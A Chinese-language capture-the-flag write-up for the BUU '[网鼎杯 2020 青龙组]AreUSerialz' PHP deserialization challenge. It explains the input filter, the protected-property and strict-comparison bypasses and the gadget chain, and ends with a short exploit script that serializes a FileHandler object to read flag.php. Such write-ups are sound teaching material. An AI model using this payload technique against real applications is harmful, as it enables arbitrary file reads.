BUU [网鼎杯 2020 青龙组]AreUSerialz

简介: BUU [网鼎杯 2020 青龙组]AreUSerialz

BUU [网鼎杯 2020 青龙组]AreUSerialz

先看题目,是个php反序列化。源码如下。

<?ph

注意点:


function __construct() {

$this->op = 2;

$this->filename = “flag.php”;

}

construct()里面给变量赋值方法

is_valid()

要求我们传入的str的每个字母的ascii值在32和125之间。因为protected属性在序列化之后会出现不可见字符\00*\00,%00字符的ASCII码为0,不符合上面的要求。


绕过方法:因为php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符

url编码也不行,传进去自动解码,过不去if判断ascii码。


op=2 (int)绕过__destruct。因为类型不一样,int和string,不满足===。


echo file_get_contents("test.txt");       //把整个文件读入一个字符串中,并且回显
echo file_put_contents("test.txt","Hello World. Testing!");   //把一个字符串写入文件中。

链子:__destruct()->process(op= =2)->read()->output(),其他可以不用


这里为什么不是_ _construct开始呢?因为construct在我本地构造序列化字符串时候($j17 = new FileHandler();)就已经执行了,在服务器上面不会执行 _ _construct

exp:
<?php
class FileHandler {
    public $op;
    public $filename;            
    public $content;
    function __construct() {
        $this->op = 2;                                   //只改了
        $this->filename = "flag.php"; (这里也可以用伪协议) //这两行
        $this->content = "Hello World!";                 
    }
}

$j17 = new FileHandler();
echo urlencode(serialize($j17));
?>


目录
相关文章
|
6月前
|
PHP
BUU [网鼎杯 2020 朱雀组]phpweb
BUU [网鼎杯 2020 朱雀组]phpweb
71 2
|
存储 数据安全/隐私保护
[网鼎杯 2020 青龙组]jocker 题解
[网鼎杯 2020 青龙组]jocker 题解
126 0
|
网络协议 数据安全/隐私保护
|
Android开发
如何在 Gmail 中创建外出回复
如何在 Gmail 中创建外出回复
Confluence 6 如何删除用户组图文教程
选择基本配置 选择用户组操作界面 在用户组列表中选择用户组 在界面中选择希望删除的用户组名字后面的删除按钮选项。 确定用户组删除 系统会给出提示确定用户组是否确定删除,你需要单击 Confirm 确定你对用户组的删除。
1191 0
|
存储 运维 安全
金鱼哥RHCA回忆录:DO447管理清单和凭据--为访问清单主机创建机器凭据
第八章 管理清单和凭据--为访问清单主机创建机器凭据
118 0
金鱼哥RHCA回忆录:DO447管理清单和凭据--为访问清单主机创建机器凭据
|
Android开发
SVN时光机-显示资源历史记录
SVN时光机-显示资源历史记录
194 0
【提高组】【4.16/17每日一题】——Getting Zero
【提高组】【4.16/17每日一题】——Getting Zero
【提高组】【4.16/17每日一题】——Getting Zero
Confluence 6 如何添加用户组图文教程
选择基本配置 选择用户组 在界面中选择添加用户组 输入用户组名字后保存就可以了 https://wiki.ossez.
1337 0
|
Shell 数据安全/隐私保护 Windows